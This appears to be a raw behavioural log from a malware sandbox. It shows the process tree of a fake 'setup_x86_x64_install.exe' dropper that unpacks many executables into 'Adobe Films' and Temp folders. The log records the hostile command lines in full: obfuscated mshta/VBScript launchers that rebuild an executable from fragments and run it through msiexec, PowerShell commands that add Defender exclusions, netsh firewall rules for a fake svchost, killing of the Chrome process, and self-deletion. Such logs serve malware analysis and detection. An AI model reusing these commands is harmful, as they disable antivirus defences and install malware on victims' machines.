C:\Users\Admin\Pictures\Adobe Films\fzUe5uYYwWRli9uqh43zt8g5.exe"C:\Users\Admin\Pictures\Adobe Films\fzUe5uYYwWRli9uqh43zt8g5.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\fzUe5uYYwWRli9uqh43zt8g5.exe"C:\Users\Admin\Pictures\Adobe Films\fzUe5uYYwWRli9uqh43zt8g5.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Altingiaceae.exe"C:\Users\Admin\AppData\Local\Temp\Altingiaceae.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\yn9mbhlnOvWHCn46u7SFsmoE.exe"C:\Users\Admin\Pictures\Adobe Films\yn9mbhlnOvWHCn46u7SFsmoE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\Pictures\Adobe Films\yn9mbhlnOvWHCn46u7SFsmoE.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\Pictures\Adobe Films\yn9mbhlnOvWHCn46u7SFsmoE.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0 , TRUE) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\Pictures\Adobe Films\yn9mbhlnOvWHCn46u7SFsmoE.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF "" == "" for %s iN ( "C:\Users\Admin\Pictures\Adobe Films\yn9mbhlnOvWHCn46u7SFsmoE.exe" ) do taskkill /Im "%~Nxs" -f4⤵
-
C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF ""-pVmK5OY1Q2FwiV3_NJROp~tX8k "" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ) do taskkill /Im ""%~Nxs"" -f " , 0 , TRUE) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF "-pVmK5OY1Q2FwiV3_NJROp~tX8k " == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ) do taskkill /Im "%~Nxs" -f7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpt: closE ( crEateOBjECT ("WsCRipT.sHELl" ). ruN ( "cmD.Exe /r EchO | SEt /P = ""MZ"" > OoZ39QP7.Q~P & cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x + 6TWz8s9B.~T +TiRWH.Ql + FFUU.A1 + YZA~WMAU.H + FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q * " , 0 , TRUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r EchO | SEt /P = "MZ" > OoZ39QP7.Q~P & cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x + 6TWz8s9B.~T +TiRWH.Ql + FFUU.A1 + YZA~WMAU.H + FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q *7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO "8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>OoZ39QP7.Q~P"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y ..\WgKZNZ9T.JOX8⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "yn9mbhlnOvWHCn46u7SFsmoE.exe" -f5⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\uZmNdfvWT3RkIquatA1l7mtE.exe"C:\Users\Admin\Pictures\Adobe Films\uZmNdfvWT3RkIquatA1l7mtE.exe"2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\uZmNdfvWT3RkIquatA1l7mtE.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\uZmNdfvWT3RkIquatA1l7mtE.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\uZmNdfvWT3RkIquatA1l7mtE.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\uZmNdfvWT3RkIquatA1l7mtE.exe" ) do taskkill -im "%~NxK" -F4⤵
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"8⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY8⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "uZmNdfvWT3RkIquatA1l7mtE.exe" -F5⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\b94cV6KOavGXOWpZ1FiI6sCb.exe"C:\Users\Admin\Pictures\Adobe Films\b94cV6KOavGXOWpZ1FiI6sCb.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XpjC5"4⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f8,0x1fc,0x200,0x1f4,0x204,0x7ffdef52dec0,0x7ffdef52ded0,0x7ffdef52dee05⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=1788 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1712 /prefetch:25⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=2268 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2624 /prefetch:15⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2608 /prefetch:15⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=2928 /prefetch:85⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3280 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=3772 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=3832 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=3744 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1700,512384495088799449,6841119979766981730,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8548_1276316795" --mojo-platform-channel-handle=3608 /prefetch:85⤵
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue130c270d23c79.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue130c270d23c79.exeTue130c270d23c79.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 708 -s 4926⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Drops file in Windows directory
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13c1be0d8f62bc.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13c1be0d8f62bc.exeTue13c1be0d8f62bc.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue132b1547125d9.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue132b1547125d9.exeTue132b1547125d9.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13bbed6e0bb6.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bbed6e0bb6.exeTue13bbed6e0bb6.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13d68628efddb1.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13d68628efddb1.exeTue13d68628efddb1.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\1IAIIOHlOD8MooCIUzBGmPm6.exe"C:\Users\Admin\Pictures\Adobe Films\1IAIIOHlOD8MooCIUzBGmPm6.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\WFs2R34gCIfKUZ61dr3jvV2X.exe"C:\Users\Admin\Pictures\Adobe Films\WFs2R34gCIfKUZ61dr3jvV2X.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\8c7AOkmXVdatkeJ_O43dbF51.exe"C:\Users\Admin\Pictures\Adobe Films\8c7AOkmXVdatkeJ_O43dbF51.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Users\Admin\Pictures\Adobe Films\VIAFqhHGN6vGW6AC2Q5yfoYr.exe"C:\Users\Admin\Pictures\Adobe Films\VIAFqhHGN6vGW6AC2Q5yfoYr.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\eDiZ4D2V6widG4UWk7yPBh7R.exe"C:\Users\Admin\Pictures\Adobe Films\eDiZ4D2V6widG4UWk7yPBh7R.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\OhCY_U9qjCDoxRO6LjrusrvX.exe"C:\Users\Admin\Pictures\Adobe Films\OhCY_U9qjCDoxRO6LjrusrvX.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\UUVaP6vwQ16WWIFuMy_gPOOv.exe"C:\Users\Admin\Pictures\Adobe Films\UUVaP6vwQ16WWIFuMy_gPOOv.exe"6⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\FzzwDzPlAL9UZEBUFYd2MLsB.exe"C:\Users\Admin\Documents\FzzwDzPlAL9UZEBUFYd2MLsB.exe"7⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\4R1suJMm_ensrXLXh8EfeBcG.exe"C:\Users\Admin\Pictures\Adobe Films\4R1suJMm_ensrXLXh8EfeBcG.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\K8Imundok69COSHZBCKnzYLA.exe"C:\Users\Admin\Pictures\Adobe Films\K8Imundok69COSHZBCKnzYLA.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "K8Imundok69COSHZBCKnzYLA.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\K8Imundok69COSHZBCKnzYLA.exe" & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "K8Imundok69COSHZBCKnzYLA.exe" /f10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\M5OEbtR68Nhc4IN3TRyoAffj.exe"C:\Users\Admin\Pictures\Adobe Films\M5OEbtR68Nhc4IN3TRyoAffj.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\MNg2ze3YfsMyH3GM236E7XqF.exe"C:\Users\Admin\Pictures\Adobe Films\MNg2ze3YfsMyH3GM236E7XqF.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\s2OeBmwuJhHiT0_Dx3151Hh7.exe"C:\Users\Admin\Pictures\Adobe Films\s2OeBmwuJhHiT0_Dx3151Hh7.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\cEaQIZJGRavuZtPoBg61zuXK.exe"C:\Users\Admin\Pictures\Adobe Films\cEaQIZJGRavuZtPoBg61zuXK.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XpjC5"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1fc,0x1f8,0x1f4,0x220,0x1f0,0x7ffdef52dec0,0x7ffdef52ded0,0x7ffdef52dee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1660,4139988360837020487,4796445129930048928,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7004_1562920786" --mojo-platform-channel-handle=1676 /prefetch:811⤵
-
C:\Users\Admin\Pictures\Adobe Films\RHkZoZp8n1AK_4VKMRKpXwqZ.exe"C:\Users\Admin\Pictures\Adobe Films\RHkZoZp8n1AK_4VKMRKpXwqZ.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IO0ML.tmp\RHkZoZp8n1AK_4VKMRKpXwqZ.tmp"C:\Users\Admin\AppData\Local\Temp\is-IO0ML.tmp\RHkZoZp8n1AK_4VKMRKpXwqZ.tmp" /SL5="$3062A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\RHkZoZp8n1AK_4VKMRKpXwqZ.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6SUC4.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-6SUC4.tmp\ShareFolder.exe" /S /UID=270910⤵
-
C:\Program Files\Microsoft Office\ZQXRVWZTSS\foldershare.exe"C:\Program Files\Microsoft Office\ZQXRVWZTSS\foldershare.exe" /VERYSILENT11⤵
-
C:\Users\Admin\AppData\Local\Temp\27-f8e50-512-35ea0-c4b16a35e2591\Tashypaxaewy.exe"C:\Users\Admin\AppData\Local\Temp\27-f8e50-512-35ea0-c4b16a35e2591\Tashypaxaewy.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\a9-1d3c2-8e2-432be-c319d4a35375d\Fehevazhyxa.exe"C:\Users\Admin\AppData\Local\Temp\a9-1d3c2-8e2-432be-c319d4a35375d\Fehevazhyxa.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dub3iheh.tv5\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\dub3iheh.tv5\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\dub3iheh.tv5\GcleanerEU.exe /eufive13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\dub3iheh.tv5\GcleanerEU.exe" & exit14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f15⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kovnldol.uz1\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\kovnldol.uz1\installer.exeC:\Users\Admin\AppData\Local\Temp\kovnldol.uz1\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\kovnldol.uz1\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\kovnldol.uz1\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634417631 /qn CAMPAIGN=""654"" " CAMPAIGN="654"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ohlos2iz.zzt\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ohlos2iz.zzt\any.exeC:\Users\Admin\AppData\Local\Temp\ohlos2iz.zzt\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mmo5ets3.qbz\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\mmo5ets3.qbz\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\mmo5ets3.qbz\gcleaner.exe /mixfive13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\mmo5ets3.qbz\gcleaner.exe" & exit14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f15⤵
- Kills process with taskkill
-
